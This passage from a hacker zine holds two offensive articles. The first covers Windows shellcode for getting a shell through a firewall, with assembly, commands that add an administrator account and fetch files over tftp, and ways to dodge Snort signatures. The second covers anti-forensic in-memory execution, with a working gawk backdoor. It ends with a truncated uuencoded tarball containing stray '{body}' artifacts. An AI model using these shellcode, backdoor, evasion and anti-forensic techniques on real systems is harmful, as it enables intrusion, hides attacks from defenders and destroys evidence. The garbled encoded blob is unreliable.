http://www.eeye.com/html/research/advisories/AL20010804.html
However, these implementations are specific to the service we are
exploiting. We hope to find a generic mechanism to bypass the
firewall rules so that we can easily reuse our shellcode. With the
assumption that the only way to interact with the server is through
the port of the vulnerable service, we call these shellcode, One-way
shellcode:
- Find socket
- Reuse address socket
- Rebind socket
--[ 4.a Find socket shellcode
This method was documented in LSD's paper on Unix shellcode
(http://lsd-pl.net/unix_assembly.html). Although the code is for Unix,
we can use the same technique in the Windows world. The idea is to
locate the existing connection that the attacker was using during the
attack and use that connection for communication.
Most WinSock API requires only the socket descriptor for its
operation. So, we need to find this descriptor. In our implementation,
we loop from 0x80 onwards. This number is chosen because socket
descriptors below 0x80 are usually not relevant to our network
connection. In our experience, using socket descriptor below 0x80 in
WinSock API sometimes crash our shellcode due to lack of Stack space.
We will get the destination port of the network connection for each
socket descriptor. It is compared with a known value. We hard coded
this value in our shellcode. If there is a match, we found our
connection. However, socket may not be a non-overlapping socket.
Depending on the program that created the socket, there is
possibility that the socket we found is an overlapping socket. If
this is the case, we cannot use it directly as in/out/err handler in
CreateProcess(). To get an interaction communication from this type
of socket, we can anonymous pipe. Description on using anonymous pipe
in shellcode can be found in article by Dark Spyrit
(http://www.phrack.org/show.php?p=55&a=15) and LSD (http://lsd-
pl.net/windows_components.html).
xor ebx,ebx
mov bl,80h
find:
inc ebx
mov dword ptr [ebp],10h
lea eax,[ebp]
push eax
lea eax,[ebp+4]
push eax
push ebx ;socket
call dword ptr [edi-4] ;getpeername
cmp word ptr [ebp+6],1234h ;myport
jne find
found:
push ebx ;socket
Find socket shellcode work by comparing the destination port of the
socket with a known port number. Thus, attacker must obtain this port
number first before sending the shellcode. It can be easily done by
calling getsockname() on a connected socket.
It is important to note that this type of shellcode should be use in
an environment where the attacker is not in a private IP. If you are
in a private IP, your Firewall NATing will create a new connection to
the victim machine during your attack. That connection will have a
different source port that what you obtain in your machine. Thus,
your shellcode will never be able to find the actually connection.
Find socket implementation can be found in findsock.asm in the Code
section. There is also a sample usage of find socket shellcode in
hellobug.pl, an exploit for MS SQL discovered Dave Aitel.
--[ 4.a.1 Problem with Find socket shellcode
Find socket could be perfect, but in some case, socket descriptor of
the attacking connection is no longer available. It is possible that
the socket might already been closed before it reach the vulnerable
code. In some case, the buffer overflow might be in another process
altogether.
--[ 4.b Reuse address shellcode
Since we fail to find the socket descriptor of our connection in a
vulnerability that we are exploiting, we need to find another way. In
the worst scenario, the firewall allows incoming connection only to
one port; the port which the vulnerable service is using. So, if we
can somehow create a bind to port shellcode that actually bind to the
port number of the vulnerable service, we can get a shell by
connecting to the same port.
Normally, we will not be able to bind to a port which already been
used. However, if we set our socket option to SO_REUSEADDR, it is
possible bind our shellcode to the same port of the vulnerable
service. Moreover, most applications simply bind a port to INADDR_ANY
interface, including IIS. If we know the IP address of the server, we
can even specify the IP address during bind() so that we can bind our
shellcode in front of vulnerable service. Binding it to a specific IP
allow us to get the connection first.
Once this is done, we just need to connect to the port number of the
vulnerable service to get a shell. It is also interesting to note
that Win32 allow any user to connect to port below 1024. Thus, we can
use this method even if we get IUSR or IWAM account.
If we don't know the IP address of the server (may be it is using
port forwarding to an internal IP), we still can bind the process to
INADDR_ANY. However, this means we will have 2 processes excepting
connection from the same port on the same interface. In our
experience, we may need to connect a few times to get a shell. This
is because the other process could occasionally get the connection.
API needed to create a reuse address shellcode:
- WSASocketA()
- setsockopt()
- bind()
- listen()
- accept()
--[ 4.b.1 Reuse address shellcode implementation
mov word ptr [ebp],2
push 4
push ebp
push 4 ;SO_REUSEADDR
push 0ffffh
push ebx
call dword ptr [edi-20] ;setsockopt
mov word ptr [ebp+2],5000h ;port
mov dword ptr [ebp+4], 0h ;IP, can be 0
push 10h
push ebp
push ebx
call dword ptr [edi-12] ;bind
Reuse address shellcode implementation is in reuse.asm (434 bytes) in
the Code section. Same usage of this type of shellcode is implemented
in reusewb.c exploit. This exploit is using the NTDLL (WebDav)
vulnerability on IIS Web server.
--[ 4.b.2 Problem with reuse address shellcode
Some applications use SO_EXCLUSIVEADDRUSE, thus reusing the address
is not possible.
--[ 4.c Rebind socket shellcode
It is not unusual to find application that actually uses SO_
EXCLUSIVEADDRUSE option to prevent us to reuse its address. So, our
research did not stop there. We feel that there is a need to create a
better shellcode. Assuming that we have same restriction we have as
before. The only way to connect to the vulnerable machine is via the
port of the vulnerable service. Instead of sharing the port
gracefully as reuse address socket shellcode, we can take over the
port number entirely.
If we can terminate the vulnerable service, we can bind our shell
into the very same port that was previously used by the vulnerable
service. If we can achieve that, the next connection to this port
will yield a shell.
However, our shellcode is usually running as part of the vulnerable
service. Terminating the vulnerable service will terminate our
shellcode.
To get around with this, we need to fork our shellcode into a new
process. The new process will bind to a specific port as soon as it
is available. The vulnerable service will be forcefully terminated.
Forking is not as simple as in Unix world. Fortunately, LSD has done
all the hard work for us (http://lsd-pl.net/windows_components.html).
It is done in the following manner as implemented by LSD:
1. Call CreateProcess() API to create a new process. We must
supply a filename to this API. It doesn't matter which file, as
long as it exist in the system. However, if we choose name like
IExplore, we might be able to bypass even personal firewall. We
also must create the process in Suspend Mode.
2. Call GetThreadContext() to retrieve the environment of the
suspended process. This call allows us to retrieve various
information, including CPU registry of the suspended process.
3. Use VirtualAllocEx() to create enough buffer for our shellcode
in the suspended process.
4. Call WriteProcessMemory() to copy our shellcode from the
vulnerable service to the new buffer in the suspended process.
5. Use SetThreadContext() to replace EIP with memory address of
the new buffer.
6. ResumeThread() will resume the suspended thread. When the
thread starts, it will point directly to the new buffer which
contains our shellcode.
The new shellcode in the separate process will loop constantly trying
to bind to port of the vulnerable service. However, until we
successfully terminate the vulnerable machine it will not be able to
continue.
Back in our original shellcode, we will execute TerminateProcess() to
forcefully terminate the vulnerable service. TerminateProcess() take
two parameters, the Process handle to be terminated and the return
value. Since we are terminating the current process, we can just pass
-1 as the Process Handle.
As soon as the vulnerable service terminated, our shellcode in a
separate process will be able to bind successfully to the specific
port number. It will continue to bind a shell to that port and
waiting for connection. To connect to this shell, we just need to
connect to the target machine on the port number of the vulnerable
service.
It is possible to improve the shellcode further by checking source
port number of IP before allowing a shell. Otherwise, anyone
connecting to that port immediately after your attack will obtain the
shell.
--[ 4.c.1 Rebind socket shellcode implementation
Rebind socket shellcode is implemented in rebind.asm in the Code
section. We need to use a lot of APIs in this shellcode. Loading
these APIs by name will make our shellcode much bigger than it should
be. Thus, the rebind socket shellcode is using another method to
locate the APIs that we need. Instead of comparing the API by its
name, we can compare by its fingerprint/hash. We generate a
fingerprint for each API name we want to use and store it in our
shellcode. Thus, we only need to store 4 bytes (size of the
fingerprint) for each API. During shellcode execution, we will
calculate the fingerprint of API name in the Export Table and compare
it with our value. If there is a match, we found the API we need. The
function that loads an API address by its fingerprint in rebind.asm
was ripped from HD Moore's MetaSploit Framework
(http://metasploit.com/sc/win32_univ_loader_src.c).
A sample usage of a rebind socket shellcode can be found rebindwb.c
and lengmui.c in the Code section. Rebindwb.c is an exploit modified
from the previous WebDAV exploit that make use of Rebind shellcode.
It will attack IIS, kill it and take over its port. Connecting to
port 80 after the exploit will grant the attacker a shell.
The other exploit, lengmui.c is MSSQL Resolution bug, it attack UDP
1434, kill MSSQL server, bind itself to TCP 1433. Connection to TCP
1433 will grant the attacker a shell.
--[ 4.d Other one-way shellcode
There are other creative mechanisms being implemented by Security
Expert in the field. For example, Brett Moore's 91 bytes shellcode as
published in Pen-Test mailing list (http://seclists.org/lists/pen-
test/2003/Jan/0000.html). It is similar to the Find Socket shellcode,
only that, instead of actually finding the attacking connection, the
shellcode create a new process of CMD for every socket descriptor.
Also similar to Find socket shellcode, instead of checking the
destination port to identify our connection, XFocus's forum has
discussion on sending additional bytes for verification. Our
shellcode will read 4 more bytes from every socket descriptor, and if
the bytes match with our signature, we will bind a CMD shell to that
connection. It could be implemented as:
- An exploit send additional bytes as signature ("ey4s") after
sending the overflow string
- The shellcode will set each socket descriptor to non-blocking
- Shellcode call API recv() to check for "ey4s"
- If there is a match, spawn CMD
- Loop if not true
It is also possible to send it with "MSG_OOB" flag. As implemented by
san _at_ xfocus d0t org.
Yet, another possibility is to implement shellcode that execute
command that attached in the shellcode it self. There is no need to
create network connection. The shellcode just execute the command and
die. We can append our command as part of the shellcode and execute
CreateProcess() API. A sample implementation can be found on dcomx.c
in the Code section. For example, we can use the following command to
add a remote administrator to a machine which is vulnerable to RPC-
DCOM bug as discovered by LSD.
# dcomx 10.1.1.1 "cmd /c net user /add compaquser compaqpass"
# dcomx 10.1.1.1 "cmd /c net localgroup /add administrators compaquser"
--[ 5 Transferring file using shellcode
One of the most common things to do after you break into a box is to
upload or download files. We usually download files from our target
as proof of successful penetration testing. We also often upload
additional tools to the server to use it as an attacking point to
attack other internal server.
In the absent of a firewall, we can easily use FTP or TFTP tools
found in standard Windows installation to get the job done:
- ftp -s:script
- tftp -i myserver GET file.exe
However, in a situation where there is no other way to go in and out,
we can still transfer file using the shell we obtain from our One-way
shellcode. It is possible to reconstruct a binary file by using the
debug.exe command available in almost every Windows.
--[ 5.a Uploading file with debug.exe
We can create text file in our target system using the echo command.
But we can't use echo to create binary file, not with the help from
debug.exe. It is possible to reconstructing binary using debug.exe.
Consider the following commands:
C:\>echo nbell.com>b.s
C:\>echo a>>b.s
C:\>echo dw07B8 CD0E C310>>b.s
C:\>echo.>>b.s
C:\>echo R CX>>b.s
C:\>echo 6 >>b.s
C:\>echo W>>b.s
C:\>echo Q>>b.s
C:\>debug<b.s
The echo command will construct a debug script which contains
necessary instructions code in hex value to create a simple binary
file. The last command will feed the script into debug.exe, which
will eventually generate our binary file.
However, we cannot construct a binary file larger than 64k. This is
the limitation of the debug.exe itself.
--[ 6.b Uploading file with VBS
Thus, a better idea to upload a binary file is to use Visual Basic
Script. VBS interpreter (cscript.exe) available by default in almost
all Windows platform. This is our strategy:
1. Create a VBS script that will read hex code from a file and
rewrite it as binary.
2. Upload the script to target using "echo" command.
3. Read file to be uploaded, and "echo" the hex code to a file in
the target server.
4. Run the VBS script to translate hex code to binary.
A sample script like below can be use to read any binary file and
create the correspondence ASC printable hex code file.
dread: while (1){
$nread2 = sysread(INFO, $disbuf, 100);
last dread if $nread2 == 0;
@bytes = unpack "C*", $disbuf;
foreach $dab (@bytes){
$txt .= sprintf "%02x", $dab;
}
$to .= "echo $txt >>outhex.txt\n";
$nnn++;
if ($nnn > 100) {
print SOCKET $to;
receive();
print ".";
$to="";
$nnn=0;
}
$txt = "";
}
Then, we create our VBS decoder in the target machine - "tobin.vbs".
We can easily use "echo" command to create this file in the target
machine. This decoder will read the outhex.txt created above and
construct the binary file.
Set arr = WScript.Arguments
Set wsf = CreateObject("Scripting.FileSystemObject")
Set infile = wsf.opentextfile(arr(arr.Count-2), 1, TRUE)
Set file = wsf.opentextfile(arr(arr.Count-1), 2, TRUE)
do while infile.AtEndOfStream = false
line = infile.ReadLine
For x = 1 To Len(line)-2 Step 2
thebyte = Chr(38) & "H" & Mid(line, x, 2)
file.write Chr(thebyte)
Next
loop
file.close
infile.close
Once the decoder is in the target machine, we just need to execute it
to convert the Hex code into a binary file:
# cscript tobin.vbs outhex.txt out.exe
--[ 5.c Retrieving file from command line
Once we have the ability to upload file to the machine, we can upload
a Base64 encoder to the target machine. We will use this encoder to
encode any file into a printable Base64 format. We can easily print
the output of the Base64 encoded in command line and capture the text.
Once we have the complete file in Base64, we will save that into a
file in our machine. Using WinZip or any Base64 decoder, we can
convert that file back into its binary form. The following command
allows us to retrieve any file in our target machine:
print SOCKET "base64 -e $file outhex2.txt\n";
receive();
print SOCKET "type outhex2.txt\n";
open(RECV, ">$file.b64");
print RECV receive();
Fortunately, all these file upload/downloading can be automated.
Refer to hellobug.pl in the Code section to see file transfer in
action.
--[ 6 Avoiding IDS detection
Snort rules now have several Attack-Response signatures that will be
able to detect common output from a Windows CMD shell. Every time we
start CMD, it will display a banner:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\sk
There is a Snort rule that capture this banner:
http://www.snort.org/snort-db/sid.html?sid=2123
We can easily avoid this by spawning cmd.exe with the parameter of
"/k" in our shellcode. All we need to do is just to add 3 more bytes
in our shellcode from "cmd" to "cmd /k". You may also need to add 3
to the value in the decoder that count the number of byte that we
need to decode.
There is also another Snort rules that capture a directory listing of
the "dir" command in a Windows shell:
http://www.snort.org/snort-db/sid.html?sid=1292
The rule compares "Volume Serial Number" in any established network
packet, if there is a match, the rule will trigger an alert.
# dir
Volume in drive C is Cool
Volume Serial Number is SKSK-6622
Directory of C:\Documents and Settings\sk
06/18/2004 06:22 PM <DIR> .
06/18/2004 06:22 PM <DIR> ..
12/01/2003 01:08 AM 58 ReadMe.txt
To avoid this, we just need to include /b in our dir command. It is
best if we set this in an environment so that dir will always use
this argument:
# set DIRCMD=/b
# dir
ReadMe.txt
Snort also has signature that detect "Command completed" in:
http://www.snort.org/snort-db/sid.html?sid=494
This command usually generated by the "net" command. It is easy to
create a wrapper for the net command that will not display "Command
completed" status or use other tools like "nbtdump", etc.
--[ 7 Restarting vulnerable service
Most often, after a buffer overflow, the vulnerable service will be
unstable. Even if we can barely keep it alive, chances are we will
not be able to attack the service again. Although we can try to fix
these problem in our shellcode, but the easiest way is to restart the
vulnerable service via our shell. This usually can be done using "at"
command to schedule a command that will restart the vulnerable
service after we exit from our shell.
For example, if our vulnerable service is IIS web server, we can
reset it using a scheduler:
#at <time> iisreset
In the case of MS SQL Server, we just need to start the
sqlserveragent service. This is a helper service installed by default
when you install MS SQL Server. It will constantly monitor and check
if the SQL Server process is running. If it is not, it will be
started. Executing the following command in our shell will start this
service, which in turn, help us to MS SQL Server once we exit.
#net start sqlserveragent
Another example is on the Workstation service bug discovered by Eeye.
In this case, we don't have a helper service. But we can kill the
relevant service, and restart it.
1. Kill the Workstation service
#taskkill /fi "SERVICES eq lanmanworkstation" /f
2. restart required services
#net start workstation
#net start "computer browser"
#net start "Themes" <== optional
#net start "messenger" <== optional
...
If we exit our shellcode now, we can attack the machine via the
Workstation exploit again.
--[ 8 End of shellcode?
Shellcode is simple to use and probably easiest to illustrate the
severity of a vulnerability in proof of concept code. However there
are a few more advance payload strategies released to the public by
LSD's Windows ASM component, Core Security's Syscall Proxy, Dave
Aitel's MOSDEF, etc. These payloads offer much more than a shell. The
References section provides a few good pointers to get more
information. We hope you enjoy reading our article as much as other
quality article from Phrack.
--[ 9 Greetz!
There are many good fellows we would like to thank for their
continuous source of information to feed our hunger for knowledge.
Without these guys, the security field will be boring.
My mentor, my friend: sam, pokleyzz, wanvadder, wyse, socket370 and
the rest of =da scan clan=, Ey4s, San and all that support XFocus
team! RD and the rest of THC! The Grugq! Saumil! Sheeraj! Nitesh!
Caddis from Team-Teso! CK and the rest of SIG^2 team! Sensepost!
BrightVaio! L33tdawg and the rest of HackInTheBox team!
Greets to the gurus: HD Moore! Halvar! HSJ! Michal, Adam and the rest
of LSD! (David) Mnemonic! Dave Aitel! EEYE! Brett Moore! And many
others Blackhat speakers for their excellence research!
--[ 10 References
http://www.scan-associates.net/papers/one-way.zip
HSJ - http://hsj.shadowpenguin.org/misc/
HD Moore - http://www.metasploit.com
CORE Security
- Syscall Proxying (http://www.blackhat.com/html/bh-usa-
02/bh-usa-02-speakers.html#Maximiliano Caceres)
(http://oss.coresecurity.com/projects/inlineegg.html)
- LSD (http://www.hivercon.com/hc02/talk-lsd.htm)
- Eeye (http://www.blackhat.com/html/win-usa-03/win-usa-03-
speakers.html#Riley Hassel)
- Dave Aitel (http://www.immunitysec.com/MOSDEF/)
- Alexander E. Cuttergo (Impurity)
--[ 11 The code
Please see http://www.scan-associates.net/papers/one-way.zip
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x08 of 0x10
|=-----=[ FIST! FIST! FIST! Its all in the wrist: Remote Exec ]=---------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ by grugq ]=------------------------------=|
1 - Abtract
2 - Introduction
3 - Principles
4 - Background
5 - Requirements
6 - Design and Implementation
6.1 - gdbprpc
6.2 - ul_exec
7 - Conclusion
8 - Greets
9 - Bibliography
10 - SourceC0de
---[ 1 - Abstract
The infrastructue of anti-forensics is built on the three strategies of
data destruction, data hiding and data contraception. The principles of
data contracteption, and a technique for executing a data contraception
attack are presented. This technique provides the ability to execute a
binary on a remote system without creating a file on the disk.
---[ 2 - Introduction
In the years since the introduction of the first two strategies of
anti-forensics [grugq 2002], there has been little additional public
research on anti-forensics. This paper introduces and discusses a third
core anti-forensics strategy: data contraception. Like the other
anti-forensic strategies, data destruction and data hiding, data
contraception seeks to reduce the quantity and quality of forensic
evidence. Data contraception achieves this by using two core principles:
preventing data from reaching the disk, and using common utilities, rather
than custom tools, wherever possible.
The rest of this paper will explore data contraception, looking first at
the core principles of data contaception, then at the requirements for a
data contraception tool, and finally the design and implemenation of such a
tool: rexec (remote exec).
--[ 3 - Principles
Data contraception is the attempt to limit the quantity and quality of
forensic evidence by keeping forensically valuable, or useful, data off the
disk. To accomplish this there are two core techniques for interacting with
the operating system: firstly, operate purely in memory, and secondly use
common utilities rather than custom crafted tools.
The first principle of data contraception, keeping data off the disk, is
most important when dealing with files that interact directly with the
operating system such as binaries, LKMs and scripts. The second principle
is for guidance when implementing the first principle, and it ensures that
any data which does touch the disk is of limited value to a forensic
analyst.
Operating in memory only is not a new technique and its already fairly well
understood with regards to rootkit development. However, using in memory
only techniques during a penetration is not as thoroughly documented in the
literature. Within rootkit technologies, the most frequently encountered
technique for operating in memory is to use ptrace() to attach to an
existing process and inject code into it's address space. Additionaly,
injecting kernel modules directly into the kernel is also a well known
technique. This paper will focus on developing in memory systems for
penetration tools.
Implementing an in-memory-only system requires a program on the remote
target host acting as a server to interact with the operating system. This
server acts as either an Inter Userland Device (IUD) -- providing access to its
own address space -- or an Intra Userland Device (IUD) -- providing access to
another address space. In either case, this IUD is critical to the effective
execution of a successful data contracteption attack.
The second principle of data contraception is critical in reducing the
effectiveness of a forensic examination. The use of common utilties means
that nothing of value exists for an analyst to recover. An example would be
a back door written using gawk. Since some version 3.x, GNU Awk has
supported network programming. Why the GNU people added network support to
a text processing tools is something of a mystery, however it is a useful
feature for a data contraception attack. Here is a proof of concept
backdoor developed in a few minutes using gawk.
[------------------------------------------------------------------------]
#!/usr/bin/gawk -f
BEGIN {
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
[------------------------------------------------------------------------]
To effectively use a script, such as the above, in an attack, the attacker
would employ the first principle of anti-forensics. In practice, this means
the attacker would launch the script interpretor and then copy the script
itself to the interpretor's stdin. This prevents the script from appearing
on the disk where it might be discovered during a forensic analysis.
Using these two core principles of data contraception, the rest of this
paper will examine some existing data contraception tools, along with the
design and implementation of remote exec: rexec.
---[ 4 - Background
There are already several projects which use a data contraception
methodology, although the terminology for data contraception is more recent
than their development. The projects that the author is aware of are:
MOSDEF; Core Impact, and ftrans. The first two projects are commercial
penetration testing tools, the last is an "anti-honeypot" tool.
Core Impact implements a data contraception techinque called "syscall
proxying". Core Impact uses an exploited process as an IUD (Intra), and a
client which contains the attacker's "business logic". The IUD server
executes system calls for the client and returns the result. This allows
the attacker's code to run locally on the client system, and yet behave as
if it were local to the remote system. According to Dave Aitel, there are
problems with technique, mostly related to execution speed and complexities
involving fork().
As a solution to the problems he experienced implementing the Core Impact
syscall proxying technique, Dave Aitel developed MOSDEF. MOSDEF uses an
exploited process as an IUD (Intra), and a client which contains a
compiler. This allows a penetration tester to build an arbitrary program
on the client and inject it into the address space under the control of the
IUD for execution. In this technique, the attacker's code runs on the
remote host, however it exists only in memory. The problems with this
technique are limitations in the size and complexity of the attacker's
code, and all of the issues related to implementing a compiler.
Unrelated to the previous two penetration testing programs, ftrans is a
pure anti-forensics tool designed to operate in the extremely hostile
forensic environment of a honey pot. The ftrans program uses a custom built
server which uses SSL to copy a binary from the client into it's own
address space. It then uses ul_exec() [grugq 2004] to execute the binary
from a memory buffer. This technique is most similar to what this paper
will discuss, the design and implementation of rexec.
---[ 5 - Requirements
With data contraception, any action which requires the creation of a file
is to be avoided. The most common reason for requiring a file is to execute
a binary. Building a tool which can execute an arbitrary binary on a remote
host leaves open any number of possible implementations. The requirements
need to be narrowed down to a manageable set using the principles of data
contracteption. From those requirements it is then possible to develop a
design and implementation.
Firstly, the tool has to be able to run over any number of shell
connections, so the communications protocol between the client and server
should be ASCII text based. Using ASCII text will mean a slow protocol,
however robustness and effectiveness, rather than speed, are critical to
the performance of the tool in the real world.
Secondly, the IUD server has to be a common Unix utility rather than a
custom crafted tool. That way, the discovery of the server does not
indicate that the compromised machine has been subjected to a data
contracteption attack. Using a common utility rather than writing a custom
tool means that the IUD server will not be intellegent in how it operates.
Based on the preceeding requirements, its clear that the client has to be
complex to compensate for the dumb server. This is acceptable because the
user of a data contraception tool will have complete control over at least
one machine.
---[ 6 - Design and Implementation
The core design for a data contraception tool to execute binaries on a
remote system purely from memory is:
*) use an IUD to gain access to an address space
*) upload the binary to execute into memory
*) load the binary into an address space
*) transfer control of execution to the binary
A library to load ELF binaries from memory into an existing address space
already exists: ul_exec. Using ul_exec allows the tool to simply upload a
copy of ul_exec and the binary, then transfer control to ul_exec().
Therefore, in order to implement the data contraception tool, all that is
required is a suitable IUD.
A suitable IUD would have to be a common Unix utility which can manipulate
registers and memory and accepts commands as text. There is one obvious
solution: gdb. The GNU debugger uses text commands to interact with, and
operate on, a slave child process.
Using gdb as an IUD allows an attacker to be exploit agnost for
anti-forensic attacks. After using an arbitrary exploit to gain access to a
shell, an attacker is able to execute any binary without creating a
forensic trace. By the same token, once an attacker has shell access to a
host, he is able to execute an artibtrary command without leaving any
evidence of forensic value. An IUD seperate from an exploited process
allows an attacker to use anti-forensic attacks at any point after owning
a box, rather than only during the initial exploitation phase.
--[ 6.1 - gdbprpc
To interface with gdb, a library was written which creates wrappers for the
core functions of an IUD. These are memory and register access, and control
over the execution of various regions of code. This library, gdbrpc,
creates an arbitrary slave child process for an address space to
manipulate.
Each gdbrpc session is described by an abstract object: rgp_t. This object
is created using rgp_init(), which takes a readable and writeable file
descriptor to a pty based shell. The facilities to execute system calls and
examine and set memory contents are encapsulated behind standardised
function calls. For example:
int rgp_brk(rgp_t *rp, void * end_data_segment);
void rgp_set_addr32(rgp_t *rp, void *addr, unsigned int val);
unsigned int rgp_get_addr32(rgp_t *rp, void *addr);
void rgp_set_reg(rgp_t *rp, rgp_reg reg, unsigned int val);
Copying data into and out of a slave process is accomplished using the
functions:
void rgp_copy_to(rgp_t *rp, void *remote, void *local, size_t n);
void rgp_copy_from(rgp_t *rp, void *local, void *remote, size_t n);
With the gdbrpc API set, it is trivial to allocate memory in a process,
copy in arbitrary quantities of code and data, and transfer control of
execution.
--[ 6.2 - ul_exec
In order for the ul_exec library to be correctly loaded into the address
space it needs to be relocated to the load address. This is done internally
within rexec. First, rexec allocates the space for the library in the
remote address space with rpg_mmap(). The address of that space is then
used to relocate an internally loaded copy of the ul_exec library, and the
resultant relocated library is then loaded remotely.
With the ul_exec library loaded in an address space, all that is required
is creating a memory buffer containing the desired ELF binary. This is
trivially accomplished using rgp_mmap() and rgp_copy_to().
Finally, putting it all together it is possible to encapsulate the entire
process into a single call:
int rx_execve(int fd, char *fname, int argc, char **argv);
--[ 7 - Conclusion
Along with the other two anti-forensic strategies, data destruction and
data hiding, data contraception helps an attacker reduce the effectiveness
of a forensic analysis. Data contraception attack techniques have been used
frequently in the past, although without the articulation of the formalised
core principlies. These two principles, operating in memory to keep data
off the disk, and using common utilities rather than incriminating custom
crafted tools, form the core of the data contraception strategy. A frequent
component of data contraception attacks is an IUD, which acts as a server
providing the client access to the operating system without altering the
file system.
A tool which implements a data contraception attack, remote exec, uses gdb
as an IUD providing access to a slave process' address space. Accessing rexec
requires a complex client which can gain access to a pty based shell. A tool
to encapsulate the rexec protocol has been developed: xsh. The "eXploit
SHell" is embedded within screen and provides a rich data contraception
environment for penetration time anti forensic attacks.
--[ 8 - Greets
gera, mammon, grendel PhD, xvr, a_p, _dose, "the old man", apach3, random,
joey, mikasoft, eugene.
--[ 9 - Bibliography
- grugq 2002 - The Art of Defiling: Defeating Forensic Analysis on Unix
http://www.phrack.org/phrack/59/p59-0x06.txt
- grugq 2004 - The Design and Implementation of ul_exec
http://www.hcunix.net/papers/grugq_ul_exec.txt
--[ 10 - SourceC0de
begin 600 rexec-0.8.5.tar.gz
M'XL(`'6RYT```^P\85/;2++[U?H5'8[-R6`;&QOR*@[L{body}gt;)<N"()1=C;W6)Y
M+EF6;5UD22O)!&Z3_>VONV=&,Y)E2-X+I&X?JE2P6CT]/3W=/=TS+27>E>=N
M?7>G5[O=:S_9V<&_?)7_\N].N_VD\V1[I]?M?-?NM'=W=[^#G;ME2UR+-',2
M@.^2*,INPKOM^7_HE?#\I\E=ZL`7S7_O"<Y_I[?;>YC_^[CT_+]VWGL3/_"^
M?A]HS^W=7F_5_'?:.[MJ_GN=[2[B=SN=SG?0_OJL+%__S^?_[.U);:_6:EG6
MX2'^F+JN=?CVY.P=_F[^Y`0!-'_RDB1*H#F=CD?6B\%+?&0=O3D\_O'%@)".
M6M`\6K>13GW+#]U@,?8T`)LDL:O@UN'+XX._$^EUFSNIP[HM2=%/(EZWK(-3
MQ,`Y22SKW2DQ]:L%?-5J3N"G6<NM(:A6FX\6$_4[\8(TTC>HTRW7LMX^_T=%
M\\AH'IG-([-Y9%G'1\^Q>>"/!,2Q7@T.7@Q.!6P1,'!F62BEI\B]>$CCP'8X
M#/&7GB`;=0O'?)`_54"KA1T1"@Z440X/Z9F04QV:+C0C6/\;K#\C>K*'IX#=
M;\]:Z<RJM;;4;\AY@E9K:Q$,<\/6S*81[&M.+6N,XG`#SPF!_W\*5BV90W,"
M&ZT(-O[0S*H6WUI;'ZZO?6G_+TWH#OJXV?]W>G@)_]_>[N$_Q-]^TGWRX/_O
MX_J+\MG/TFSL1ZW9OE4`H?,HPQ(_G!9A$S?,@B)H$:)O&9>:7J=;\[D3$M0`
M>\&DB,>>N0`1NEEL)M86`1QCY!)ZM8/CH[^_L=\WX+)>LVW[?7W3MB_1C7;J
M]<=_T$_ZE6._.SL]?'UB.PTX;<`(6^#0W'E,@%$=3J&-'A)!"S>#9)A&P\1+
MH^`2?K=J@V#2W1Z^NY[7-B"]GF?.J*^`/T7)&*$S)YV58>[,\<,B$"`<+=SW
M7I8NP1F;P/@CJ5%'6<(=?>H7V")^+B.?.A@YJ8<-2'S#C.YC\XYBN[R7P6R<
M(,S#/SGL1,!B<S@OKD,$C:^)[V59X"/\H5AR,M\%/\RL,3T/(M=>A*D_#;TQ
M06$CBAN00X(HG#+##1`]G7H!;"3J#F4+&RC:NH7#P]:X*&>P!^V^,=GCL1>.
M:S;2U7/Z'"G6;**K82>!XR(P:>XGPV@R2;W,T`&<0QO[:>ZGV?#2"1;8#D?Z
MP<_<&=B#XY?$V?#LEY.!:.^'DZA>)YF[V`><#KO_M3M\\_;-X"D&#A@G.._[
MA4?=;7J`+"+S-*9-{body}amp;SWJ]%/#E<U@";P.%8T/!T<'YP=_7.@&\MFF_!<:$7>
M"D?N+(*,,+<V@$*\*)MY&&[1E.{body}lt;1B%DU[